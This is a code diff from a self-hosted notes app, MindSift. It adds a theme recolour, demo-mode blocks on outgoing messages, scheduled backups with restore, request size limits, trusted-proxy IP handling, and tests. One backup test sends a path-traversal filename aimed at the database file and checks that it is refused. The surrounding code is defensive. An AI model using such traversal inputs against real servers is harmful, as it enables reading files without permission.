/* --- 1. AKZENTFARBE (Elektrisches Grün / Türkis) --- */
|
||||
--accent-primary: #14b8a6;
|
||||
--accent-hover: #2dd4bf;
|
||||
--accent-dim: rgba(20, 184, 166, 0.16);
|
||||
--accent-border: rgba(45, 212, 191, 0.45);
|
||||
--text-on-accent: #042f2e; /* dunkel: Weiß auf Türkis erreicht nur 2,5:1 */
|
||||
|
||||
/* --- 2. OBERFLÄCHEN & HINTERGRÜNDE --- */
|
||||
--bg-app: #0d0b14;
|
||||
--bg-panel: #151221;
|
||||
--bg-panel-elevated: #1d182e;
|
||||
--bg-panel-hover: #26203c;
|
||||
--bg-input: #0f0d18;
|
||||
--bg-overlay: rgba(6, 4, 10, 0.78);
|
||||
--bg-code: #08060d;
|
||||
--bg-app: #090e11;
|
||||
--bg-panel: #10181c;
|
||||
--bg-panel-elevated: #162127;
|
||||
--bg-panel-hover: #1e2c34;
|
||||
--bg-input: #0c1317;
|
||||
--bg-overlay: rgba(4, 7, 9, 0.78);
|
||||
--bg-code: #070b0e;
|
||||
|
||||
/* --- 3. TEXT & KONTRASTE --- */
|
||||
--text-main: #f5f3ff;
|
||||
--text-muted: #a79fc2;
|
||||
--text-faint: #6d6585;
|
||||
--text-main: #f0fdfa;
|
||||
--text-muted: #8da6a9;
|
||||
--text-faint: #5a7074;
|
||||
|
||||
/* --- 4. RAHMEN, LINIEN & SCHATTEN --- */
|
||||
--border-color: rgba(168, 85, 247, 0.14);
|
||||
--border-subtle: rgba(168, 85, 247, 0.07);
|
||||
--border-strong: rgba(192, 132, 252, 0.30);
|
||||
--shadow-panel: 0 10px 30px rgba(5, 3, 10, 0.55);
|
||||
--scrollbar-thumb: rgba(168, 85, 247, 0.22);
|
||||
--scrollbar-thumb-hover: rgba(192, 132, 252, 0.40);
|
||||
--border-color: rgba(20, 184, 166, 0.16);
|
||||
--border-subtle: rgba(20, 184, 166, 0.08);
|
||||
--border-strong: rgba(45, 212, 191, 0.32);
|
||||
--shadow-panel: 0 10px 30px rgba(3, 8, 10, 0.55);
|
||||
--scrollbar-thumb: rgba(20, 184, 166, 0.22);
|
||||
--scrollbar-thumb-hover: rgba(45, 212, 191, 0.42);
|
||||
|
||||
/* --- 5. STATUS- & SIGNALFARBEN --- */
|
||||
--color-success: #10b981;
|
||||
|
||||
@@ -2,10 +2,10 @@ import { defineConfig } from 'vite';
|
||||
import react from '@vitejs/plugin-react';
|
||||
import { readFileSync } from 'node:fs';
|
||||
|
||||
// Shown in the header. Release builds get the git tag (APP_VERSION build argument, e.g. "v0.2");
|
||||
// other builds show the package version with a "-dev" suffix.
|
||||
// Shown in the header. Release builds get the git tag (APP_VERSION build argument, e.g. "v0.6.0");
|
||||
// other builds show the package version with a "-dev" suffix (Semantic Versioning, see CHANGELOG.md).
|
||||
const pkg = JSON.parse(readFileSync(new URL('./package.json', import.meta.url), 'utf8'));
|
||||
const appVersion = process.env.APP_VERSION || `v${pkg.version.replace(/\.0$/, '')}-dev`;
|
||||
const appVersion = process.env.APP_VERSION || `v${pkg.version}-dev`;
|
||||
|
||||
export default defineConfig({
|
||||
plugins: [react()],
|
||||
|
||||
+14
-1
@@ -13,6 +13,9 @@ import (
|
||||
// --- MULTI-CHANNEL ALARM DISPATCHER (EMAIL, DISCORD, CUSTOM WEBHOOK) ---
|
||||
|
||||
func (s *Server) sendEmailNotification(toEmail, subject, bodyText string) error {
|
||||
if s.cfg.DemoMode {
|
||||
return errDemoOutgoing
|
||||
}
|
||||
cfg, err := s.smtpSettings()
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -29,6 +32,9 @@ func (s *Server) sendEmailNotification(toEmail, subject, bodyText string) error
|
||||
}
|
||||
|
||||
func (s *Server) sendDiscordNotification(webhookURL, title, description, dueDate, priority string) error {
|
||||
if s.cfg.DemoMode {
|
||||
return errDemoOutgoing
|
||||
}
|
||||
allowPrivate := s.allowPrivateWebhooks()
|
||||
if err := validateWebhookURL(webhookURL, true, allowPrivate); err != nil {
|
||||
return err
|
||||
@@ -63,6 +69,9 @@ func (s *Server) sendDiscordNotification(webhookURL, title, description, dueDate
|
||||
}
|
||||
|
||||
func (s *Server) sendCustomWebhookNotification(webhookURL, event, title, notes, dueDate, priority string) error {
|
||||
if s.cfg.DemoMode {
|
||||
return errDemoOutgoing
|
||||
}
|
||||
allowPrivate := s.allowPrivateWebhooks()
|
||||
if err := validateWebhookURL(webhookURL, false, allowPrivate); err != nil {
|
||||
return err
|
||||
@@ -150,7 +159,11 @@ func (s *Server) startAlarmTicker() {
|
||||
}
|
||||
|
||||
if sentAny {
|
||||
_ = s.store.MarkTaskAlarmSent(a.TaskID)
|
||||
if err := s.store.MarkTaskAlarmSent(a.TaskID); err != nil {
|
||||
slog.Error("Alarm als gesendet markieren fehlgeschlagen (wird erneut gesendet)", "task_id", a.TaskID, "error", err)
|
||||
}
|
||||
} else if gaveUp, _ := s.store.RecordTaskAlarmFailure(a.TaskID); gaveUp {
|
||||
slog.Warn("Aufgaben-Alarm nach 3 Fehlversuchen aufgegeben", "task_id", a.TaskID, "title", a.Title)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,182 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log/slog"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
"github.com/sandrodach/mindsift/internal/auth"
|
||||
"github.com/sandrodach/mindsift/internal/storage"
|
||||
)
|
||||
|
||||
// Automatic backups (see storage/backup.go): daily at the configured time a snapshot of the whole
|
||||
// database for the admin and one MindSift backup per active user, both kept for the configured number
|
||||
// of days. Admins can also start a run by hand; users list, download and restore their own backups.
|
||||
|
||||
var backupRunMu sync.Mutex
|
||||
|
||||
func (s *Server) backupRoot() string {
|
||||
return filepath.Join(filepath.Dir(s.cfg.DatabasePath), "backups")
|
||||
}
|
||||
|
||||
// runBackups makes one full run; returns the name of the system snapshot.
|
||||
func (s *Server) runBackups() (string, error) {
|
||||
backupRunMu.Lock()
|
||||
defer backupRunMu.Unlock()
|
||||
now := time.Now()
|
||||
root := s.backupRoot()
|
||||
sys, _ := s.store.GetSystemSettings()
|
||||
keep := storage.DefaultBackupRetentionDays
|
||||
if sys != nil && sys.BackupRetentionDays > 0 {
|
||||
keep = sys.BackupRetentionDays
|
||||
}
|
||||
|
||||
name, err := s.store.WriteSystemSnapshot(filepath.Join(root, "system"), now)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
_ = storage.PruneBackups(filepath.Join(root, "system"), keep, now)
|
||||
|
||||
users, err := s.store.GetAllUsers()
|
||||
if err != nil {
|
||||
return name, err
|
||||
}
|
||||
failed := 0
|
||||
for _, u := range users {
|
||||
if !u.IsActive {
|
||||
continue
|
||||
}
|
||||
dir := storage.UserBackupDir(root, u.ID)
|
||||
if _, err := s.store.WriteUserBackup(u.ID, dir, now); err != nil {
|
||||
failed++
|
||||
slog.Error("Benutzer-Backup fehlgeschlagen", "user_id", u.ID, "error", err)
|
||||
continue
|
||||
}
|
||||
_ = storage.PruneBackups(dir, keep, now)
|
||||
}
|
||||
slog.Info("Backups erstellt", "system", name, "users", len(users), "failed", failed)
|
||||
if failed > 0 {
|
||||
return name, fmt.Errorf("%d Benutzer-Backups fehlgeschlagen (siehe Server-Log)", failed)
|
||||
}
|
||||
return name, nil
|
||||
}
|
||||
|
||||
// startBackupScheduler runs the backups once a day at the configured time (server time zone). After a
|
||||
// restart past that time on a day without a run, it catches up.
|
||||
func (s *Server) startBackupScheduler() {
|
||||
ticker := time.NewTicker(time.Minute)
|
||||
defer ticker.Stop()
|
||||
lastRun := ""
|
||||
if files, err := storage.ListBackups(filepath.Join(s.backupRoot(), "system")); err == nil && len(files) > 0 {
|
||||
lastRun = strings.TrimPrefix(files[0].Name, "mindsift-db-")[:10] // date of the newest snapshot
|
||||
}
|
||||
for range ticker.C {
|
||||
sys, err := s.store.GetSystemSettings()
|
||||
if err != nil || sys == nil || !sys.BackupEnabled {
|
||||
continue
|
||||
}
|
||||
now := time.Now()
|
||||
today := now.Format("2006-01-02")
|
||||
if lastRun == today || now.Format("15:04") < sys.BackupTime {
|
||||
continue
|
||||
}
|
||||
lastRun = today
|
||||
if _, err := s.runBackups(); err != nil {
|
||||
slog.Error("Automatisches Backup fehlgeschlagen", "error", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Server) handleAdminListBackups(w http.ResponseWriter, r *http.Request) {
|
||||
files, err := storage.ListBackups(filepath.Join(s.backupRoot(), "system"))
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, files)
|
||||
}
|
||||
|
||||
func (s *Server) handleAdminRunBackup(w http.ResponseWriter, r *http.Request) {
|
||||
if _, err := s.runBackups(); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, "Backup fehlgeschlagen: "+err.Error())
|
||||
return
|
||||
}
|
||||
s.handleAdminListBackups(w, r)
|
||||
}
|
||||
|
||||
func (s *Server) handleAdminDownloadBackup(w http.ResponseWriter, r *http.Request) {
|
||||
serveBackupFile(w, r, filepath.Join(s.backupRoot(), "system"), chi.URLParam(r, "name"), "application/gzip")
|
||||
}
|
||||
|
||||
func (s *Server) handleListMyBackups(w http.ResponseWriter, r *http.Request) {
|
||||
files, err := storage.ListBackups(storage.UserBackupDir(s.backupRoot(), auth.GetUserID(r.Context())))
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, files)
|
||||
}
|
||||
|
||||
func (s *Server) handleDownloadMyBackup(w http.ResponseWriter, r *http.Request) {
|
||||
dir := storage.UserBackupDir(s.backupRoot(), auth.GetUserID(r.Context()))
|
||||
serveBackupFile(w, r, dir, chi.URLParam(r, "name"), "application/zip")
|
||||
}
|
||||
|
||||
// handleRestoreMyBackup imports one of the user's server backups: mode=merge (add next to the data)
|
||||
// or mode=restore (empty the chosen sections first), sections=notes,tasks,lists,inbox,themes.
|
||||
func (s *Server) handleRestoreMyBackup(w http.ResponseWriter, r *http.Request) {
|
||||
userID := auth.GetUserID(r.Context())
|
||||
path, err := storage.BackupPath(storage.UserBackupDir(s.backupRoot(), userID), chi.URLParam(r, "name"))
|
||||
if err != nil {
|
||||
writeError(w, http.StatusNotFound, err.Error())
|
||||
return
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
plan, err := storage.PlanMindSiftImport(data, filepath.Base(path))
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
sections := storage.NormalizeSections(strings.Split(r.URL.Query().Get("sections"), ","))
|
||||
plan = plan.Only(sections)
|
||||
if r.URL.Query().Get("preview") == "1" {
|
||||
writeJSON(w, http.StatusOK, plan.Summary(false))
|
||||
return
|
||||
}
|
||||
s.applyImport(w, userID, plan, sections, r.URL.Query().Get("mode") == "restore")
|
||||
}
|
||||
|
||||
func serveBackupFile(w http.ResponseWriter, r *http.Request, dir, name, contentType string) {
|
||||
path, err := storage.BackupPath(dir, name)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusNotFound, err.Error())
|
||||
return
|
||||
}
|
||||
allowLongTransfer(w)
|
||||
w.Header().Set("Content-Type", contentType)
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, name))
|
||||
http.ServeFile(w, r, path)
|
||||
}
|
||||
|
||||
// removeUserBackups deletes the server backups of a deleted account (FLAW-37). The system snapshots
|
||||
// still contain it until they expire (BACKUP retention).
|
||||
func (s *Server) removeUserBackups(userID string) {
|
||||
dir := storage.UserBackupDir(s.backupRoot(), userID)
|
||||
// Only ever one user's own folder, never backups/users itself (IDs like "." or "/")
|
||||
if base := filepath.Base(dir); userID == "" || base == "." || base == "users" || filepath.Dir(dir) != filepath.Join(s.backupRoot(), "users") {
|
||||
return
|
||||
}
|
||||
if err := os.RemoveAll(dir); err != nil {
|
||||
slog.Warn("Backups des gelöschten Kontos konnten nicht entfernt werden", "user_id", userID, "error", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,91 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/sandrodach/mindsift/internal/auth"
|
||||
"github.com/sandrodach/mindsift/internal/storage"
|
||||
)
|
||||
|
||||
func TestBackupsRunListDownloadAndRestoreSections(t *testing.T) {
|
||||
srv, store, token := setupTestServer(t)
|
||||
router := srv.Router()
|
||||
claims, _ := auth.ValidateToken(testJWTSecret, token)
|
||||
uid := claims.UserID
|
||||
_, _ = store.CreateDocument(uid, "", "Notiz vom Montag", "📝", "", nil, nil, false)
|
||||
list, _ := store.CreateList(uid, "Einkauf", "🛒", "shopping")
|
||||
_, _ = store.CreateListItem(list.ID, "Milch", "", "", 0, uid)
|
||||
_, _ = store.SaveUserTheme(uid, "", "Mein Theme", ":root[data-theme=\"x\"] { --accent-primary: #f00; }")
|
||||
|
||||
call := func(method, path string) *httptest.ResponseRecorder {
|
||||
req := httptest.NewRequest(method, path, nil)
|
||||
req.Header.Set("Authorization", "Bearer "+token)
|
||||
rec := httptest.NewRecorder()
|
||||
router.ServeHTTP(rec, req)
|
||||
return rec
|
||||
}
|
||||
|
||||
// Admin starts a run: one database snapshot plus a backup for the user
|
||||
rec := call("POST", "/api/v1/admin/backups")
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("run backups: %d %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var sysFiles []storage.BackupFile
|
||||
_ = json.Unmarshal(rec.Body.Bytes(), &sysFiles)
|
||||
if len(sysFiles) != 1 || !strings.HasSuffix(sysFiles[0].Name, ".db.gz") || sysFiles[0].Size == 0 {
|
||||
t.Fatalf("expected one snapshot, got %+v", sysFiles)
|
||||
}
|
||||
if rec := call("GET", "/api/v1/admin/backups/"+sysFiles[0].Name); rec.Code != http.StatusOK || rec.Body.Len() == 0 {
|
||||
t.Fatalf("download snapshot: %d", rec.Code)
|
||||
}
|
||||
if rec := call("GET", "/api/v1/admin/backups/..%2F..%2Fmindsift.db"); rec.Code != http.StatusNotFound {
|
||||
t.Fatalf("path tricks must be refused, got %d", rec.Code)
|
||||
}
|
||||
|
||||
var mine []storage.BackupFile
|
||||
_ = json.Unmarshal(call("GET", "/api/v1/backups").Body.Bytes(), &mine)
|
||||
if len(mine) != 1 {
|
||||
t.Fatalf("expected one user backup, got %+v", mine)
|
||||
}
|
||||
|
||||
// Lose data, then restore only the lists: notes stay as they are now
|
||||
listsBefore, _ := store.GetAllListsForUser(uid)
|
||||
docsBefore, _ := store.GetDocuments(uid)
|
||||
_ = store.PurgeUserSections(uid, map[string]bool{storage.SectionLists: true, storage.SectionThemes: true})
|
||||
_, _ = store.CreateDocument(uid, "", "Notiz vom Dienstag", "📝", "", nil, nil, false)
|
||||
rec = call("POST", "/api/v1/backups/"+mine[0].Name+"/restore?mode=restore§ions=lists,themes")
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("restore: %d %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
lists, _ := store.GetAllListsForUser(uid)
|
||||
themes, _ := store.GetUserThemes(uid)
|
||||
docs, _ := store.GetDocuments(uid)
|
||||
if len(lists) != len(listsBefore) || len(themes) != 1 {
|
||||
t.Fatalf("lists and themes should be back: %d of %d lists, %d themes", len(lists), len(listsBefore), len(themes))
|
||||
}
|
||||
if len(docs) != len(docsBefore)+1 {
|
||||
t.Fatalf("notes were not selected and must stay untouched (plus Dienstag), got %d of %d", len(docs), len(docsBefore)+1)
|
||||
}
|
||||
|
||||
// Retention: old files go
|
||||
dir := filepath.Join(srv.backupRoot(), "system")
|
||||
old := filepath.Join(dir, "mindsift-db-2000-01-01-0300.db.gz")
|
||||
_ = os.WriteFile(old, []byte("x"), 0o600)
|
||||
_ = os.Chtimes(old, mustTime("2000-01-01"), mustTime("2000-01-01"))
|
||||
_, _ = srv.runBackups()
|
||||
if _, err := os.Stat(old); !os.IsNotExist(err) {
|
||||
t.Fatalf("backups older than the retention must be deleted")
|
||||
}
|
||||
}
|
||||
|
||||
func mustTime(day string) (t time.Time) {
|
||||
t, _ = time.Parse("2006-01-02", day)
|
||||
return t
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/sandrodach/mindsift/internal/storage"
|
||||
)
|
||||
|
||||
// Request bodies are capped for every endpoint (FLAW-36), so a session or API key cannot tie up memory
|
||||
// with huge uploads. Note sync and imports need more; their handlers apply the same limits again.
|
||||
const defaultMaxBody = 2 << 20
|
||||
|
||||
func bodyLimitFor(path string) int64 {
|
||||
switch {
|
||||
case strings.HasPrefix(path, "/api/v1/import/"):
|
||||
return storage.MaxImportUploadBytes + 1<<20
|
||||
case strings.HasPrefix(path, "/api/v1/docs/") && strings.HasSuffix(path, "/sync"):
|
||||
return syncMaxBody
|
||||
}
|
||||
return defaultMaxBody
|
||||
}
|
||||
|
||||
func bodyLimit(next http.Handler) http.Handler {
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Body != nil && r.Body != http.NoBody {
|
||||
r.Body = http.MaxBytesReader(w, r.Body, bodyLimitFor(r.URL.Path))
|
||||
}
|
||||
next.ServeHTTP(w, r)
|
||||
})
|
||||
}
|
||||
|
||||
// The server gives every request 15 s to send its body and 30 s for the answer. Whole archives on a slow
|
||||
// line need longer: downloads of backups and exports, uploads of imports (FLAW-38).
|
||||
const longTransferTime = 30 * time.Minute
|
||||
|
||||
func allowLongTransfer(w http.ResponseWriter) {
|
||||
rc := http.NewResponseController(w)
|
||||
_ = rc.SetWriteDeadline(time.Now().Add(longTransferTime))
|
||||
_ = rc.SetReadDeadline(time.Now().Add(longTransferTime))
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestRequestBodyLimited(t *testing.T) {
|
||||
srv, _, token := setupTestServer(t)
|
||||
router := srv.Router()
|
||||
huge := `{"content":"` + strings.Repeat("x", defaultMaxBody) + `"}`
|
||||
if rec := sessionCall(router, "POST", "/api/v1/inbox", token, huge, ""); rec.Code != http.StatusBadRequest && rec.Code != http.StatusRequestEntityTooLarge {
|
||||
t.Fatalf("body over the limit: want 400/413, got %d", rec.Code)
|
||||
}
|
||||
if rec := sessionCall(router, "POST", "/api/v1/inbox", token, `{"content":"klein"}`, ""); rec.Code >= 300 {
|
||||
t.Fatalf("normal body: got %d %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
if bodyLimitFor("/api/v1/docs/doc_1/sync") != syncMaxBody || bodyLimitFor("/api/v1/import/obsidian") <= defaultMaxBody {
|
||||
t.Fatal("sync and import keep their larger limits")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWebhookTokenInURLOnlyAPIKey(t *testing.T) {
|
||||
srv, _, token := setupTestServer(t)
|
||||
rec := sessionCall(srv.Router(), "POST", "/api/v1/webhooks/ingest?token="+token, "", `{"text":"x"}`, "")
|
||||
if rec.Code != http.StatusUnauthorized {
|
||||
t.Fatalf("session token in URL: want 401, got %d", rec.Code)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,144 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log/slog"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// Client IP behind a reverse proxy. The proxy connects to MindSift and passes the visitor's address in
|
||||
// X-Forwarded-For / X-Real-IP. Those headers are only believed when the connection comes from a trusted
|
||||
// proxy (TRUSTED_PROXIES), otherwise anyone reaching the port directly could claim any address and dodge
|
||||
// the login protection.
|
||||
// private (default) loopback and private networks (Docker, LAN, CGNAT/Tailscale)
|
||||
// all always believe the headers (old behaviour, switches the check off)
|
||||
// none never believe them
|
||||
// CIDR list e.g. "private,203.0.113.0/24"; Cloudflare and other external proxies go here
|
||||
|
||||
type clientIPKey struct{}
|
||||
|
||||
type clientIPInfo struct {
|
||||
ip string
|
||||
// viaProxyWithoutHeader: the connection came from a trusted proxy that did not say who the
|
||||
// visitor is, so all visitors look the same. Per-IP limits must not apply then.
|
||||
viaProxyWithoutHeader bool
|
||||
}
|
||||
|
||||
type proxyTrust struct {
|
||||
all bool
|
||||
networks []*net.IPNet
|
||||
}
|
||||
|
||||
var privateProxyNets = mustCIDRs("127.0.0.0/8", "::1/128", "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "fc00::/7", "100.64.0.0/10")
|
||||
|
||||
func parseProxyTrust(spec string) proxyTrust {
|
||||
spec = strings.ToLower(strings.TrimSpace(spec))
|
||||
if spec == "" {
|
||||
spec = "private"
|
||||
}
|
||||
var t proxyTrust
|
||||
for _, part := range strings.Split(spec, ",") {
|
||||
switch part = strings.TrimSpace(part); part {
|
||||
case "", "none":
|
||||
case "all", "*":
|
||||
t.all = true
|
||||
case "private":
|
||||
t.networks = append(t.networks, privateProxyNets...)
|
||||
default:
|
||||
if !strings.Contains(part, "/") {
|
||||
if strings.Contains(part, ":") {
|
||||
part += "/128"
|
||||
} else {
|
||||
part += "/32"
|
||||
}
|
||||
}
|
||||
if _, n, err := net.ParseCIDR(part); err == nil {
|
||||
t.networks = append(t.networks, n)
|
||||
} else {
|
||||
slog.Warn("TRUSTED_PROXIES: Eintrag ignoriert", "entry", part)
|
||||
}
|
||||
}
|
||||
}
|
||||
return t
|
||||
}
|
||||
|
||||
func (t proxyTrust) trusts(ip net.IP) bool {
|
||||
if t.all {
|
||||
return true
|
||||
}
|
||||
for _, n := range t.networks {
|
||||
if n.Contains(ip) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func peerIP(remoteAddr string) string {
|
||||
if host, _, err := net.SplitHostPort(remoteAddr); err == nil {
|
||||
return host
|
||||
}
|
||||
return remoteAddr
|
||||
}
|
||||
|
||||
// resolveClientIP returns the visitor's address for a request coming from peer.
|
||||
func (t proxyTrust) resolveClientIP(peer string, h http.Header) clientIPInfo {
|
||||
peerAddr := net.ParseIP(peer)
|
||||
if peerAddr == nil || !t.trusts(peerAddr) {
|
||||
return clientIPInfo{ip: peer}
|
||||
}
|
||||
// X-Forwarded-For: client, proxy1, proxy2 – the visitor is the right-most address that is not one of
|
||||
// our proxies (everything left of it could be made up by the visitor)
|
||||
if xff := h.Get("X-Forwarded-For"); xff != "" {
|
||||
var chain []net.IP
|
||||
for _, part := range strings.Split(xff, ",") {
|
||||
if ip := net.ParseIP(strings.TrimSpace(part)); ip != nil {
|
||||
chain = append(chain, ip)
|
||||
}
|
||||
}
|
||||
if len(chain) > 0 {
|
||||
if t.all {
|
||||
return clientIPInfo{ip: chain[0].String()} // former behaviour: first address counts
|
||||
}
|
||||
for i := len(chain) - 1; i >= 0; i-- {
|
||||
if !t.trusts(chain[i]) {
|
||||
return clientIPInfo{ip: chain[i].String()}
|
||||
}
|
||||
}
|
||||
return clientIPInfo{ip: chain[0].String()} // only proxies in the chain: the visitor is in our network
|
||||
}
|
||||
}
|
||||
for _, name := range []string{"X-Real-IP", "True-Client-IP", "CF-Connecting-IP"} {
|
||||
if ip := net.ParseIP(strings.TrimSpace(h.Get(name))); ip != nil {
|
||||
return clientIPInfo{ip: ip.String()}
|
||||
}
|
||||
}
|
||||
return clientIPInfo{ip: peer, viaProxyWithoutHeader: !peerAddr.IsLoopback()}
|
||||
}
|
||||
|
||||
var warnProxyHeaderOnce sync.Once
|
||||
|
||||
// clientIPMiddleware replaces chi's RealIP: r.RemoteAddr becomes the visitor's address.
|
||||
func (s *Server) clientIPMiddleware(next http.Handler) http.Handler {
|
||||
trust := parseProxyTrust(s.cfg.TrustedProxies)
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
info := trust.resolveClientIP(peerIP(r.RemoteAddr), r.Header)
|
||||
if info.viaProxyWithoutHeader {
|
||||
warnProxyHeaderOnce.Do(func() {
|
||||
slog.Warn("Reverse-Proxy übergibt keine Client-IP (X-Forwarded-For/X-Real-IP fehlt); Login-Sperren pro IP sind für diese Anfragen aus", "proxy", info.ip)
|
||||
})
|
||||
}
|
||||
r.RemoteAddr = info.ip
|
||||
next.ServeHTTP(w, r.WithContext(context.WithValue(r.Context(), clientIPKey{}, info)))
|
||||
})
|
||||
}
|
||||
|
||||
func clientIPFrom(r *http.Request) clientIPInfo {
|
||||
if info, ok := r.Context().Value(clientIPKey{}).(clientIPInfo); ok {
|
||||
return info
|
||||
}
|
||||
return clientIPInfo{ip: peerIP(r.RemoteAddr)}
|
||||
}
|
||||
@@ -0,0 +1,93 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"log/slog"
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// In demo mode the database is reset to the sample data every DEMO_RESET_MINUTES. Requests hold a read
|
||||
// lock while they run and the reset takes the write lock, so no request sees half-dropped tables.
|
||||
// Long-lived streams (WebSocket, SSE, long polling) are left out, otherwise the reset would wait for
|
||||
// them forever; they reconnect or retry on their own. The demo accounts keep their IDs, so sessions
|
||||
// stay valid; clients get DEMO_RESET and reload their data.
|
||||
|
||||
type demoState struct {
|
||||
gate sync.RWMutex // read: a running request, write: the reset
|
||||
|
||||
mu sync.Mutex
|
||||
nextReset time.Time
|
||||
}
|
||||
|
||||
func isLongLivedRequest(r *http.Request) bool {
|
||||
p := r.URL.Path
|
||||
return strings.HasPrefix(p, "/api/v1/ws") || p == "/api/v1/events" ||
|
||||
(strings.HasPrefix(p, "/api/v1/docs/") && strings.HasSuffix(p, "/changes"))
|
||||
}
|
||||
|
||||
func (s *Server) demoResetGate(next http.Handler) http.Handler {
|
||||
if !s.cfg.DemoMode {
|
||||
return next
|
||||
}
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if isLongLivedRequest(r) || !strings.HasPrefix(r.URL.Path, "/api/") {
|
||||
next.ServeHTTP(w, r)
|
||||
return
|
||||
}
|
||||
s.demo.gate.RLock()
|
||||
defer s.demo.gate.RUnlock()
|
||||
next.ServeHTTP(w, r)
|
||||
})
|
||||
}
|
||||
|
||||
// demoNextReset is zero when no periodic reset runs.
|
||||
func (s *Server) demoNextReset() time.Time {
|
||||
s.demo.mu.Lock()
|
||||
defer s.demo.mu.Unlock()
|
||||
return s.demo.nextReset
|
||||
}
|
||||
|
||||
func (s *Server) setDemoNextReset(t time.Time) {
|
||||
s.demo.mu.Lock()
|
||||
s.demo.nextReset = t
|
||||
s.demo.mu.Unlock()
|
||||
}
|
||||
|
||||
func (s *Server) resetDemo() {
|
||||
s.demo.gate.Lock()
|
||||
err := s.store.ResetAndSeedDemo()
|
||||
s.demo.gate.Unlock()
|
||||
if err != nil {
|
||||
slog.Error("Demo-Reset fehlgeschlagen", "error", err)
|
||||
return
|
||||
}
|
||||
s.wsHub.BroadcastSystem("DEMO_RESET")
|
||||
}
|
||||
|
||||
func (s *Server) startDemoResetTicker() {
|
||||
interval := time.Duration(s.cfg.DemoResetMinutes) * time.Minute
|
||||
for {
|
||||
next := time.Now().Add(interval)
|
||||
s.setDemoNextReset(next)
|
||||
time.Sleep(time.Until(next))
|
||||
s.resetDemo()
|
||||
}
|
||||
}
|
||||
|
||||
// A public demo must not send anything to the outside (FLAW-33): no alarm mails, Discord or webhook
|
||||
// calls, no test messages. The senders refuse, and the routes that only exist to send or to change
|
||||
// server settings answer with 403 right away. All visitors share the demo accounts, so whatever
|
||||
// would lock the others out (passwords, ending sessions, deleting accounts) is refused as well.
|
||||
var errDemoOutgoing = errors.New("In der Demo deaktiviert")
|
||||
|
||||
func (s *Server) notInDemo(h http.HandlerFunc) http.HandlerFunc {
|
||||
if !s.cfg.DemoMode {
|
||||
return h
|
||||
}
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
writeError(w, http.StatusForbidden, "In der Demo deaktiviert")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,90 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/sandrodach/mindsift/internal/config"
|
||||
"github.com/sandrodach/mindsift/internal/storage"
|
||||
"github.com/sandrodach/mindsift/internal/ws"
|
||||
)
|
||||
|
||||
func TestDemoResetKeepsSessionsAndRestoresSampleData(t *testing.T) {
|
||||
dbPath := filepath.Join(t.TempDir(), "demo_reset.db")
|
||||
store, err := storage.NewStore(dbPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer store.Close()
|
||||
if err := store.ResetAndSeedDemo(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
srv := NewServer(&config.Config{DatabasePath: dbPath, JWTSecret: "demo-secret", DemoMode: true}, store, ws.NewHub(), nil)
|
||||
router := srv.Router()
|
||||
call := func(method, path, token, body string) *httptest.ResponseRecorder {
|
||||
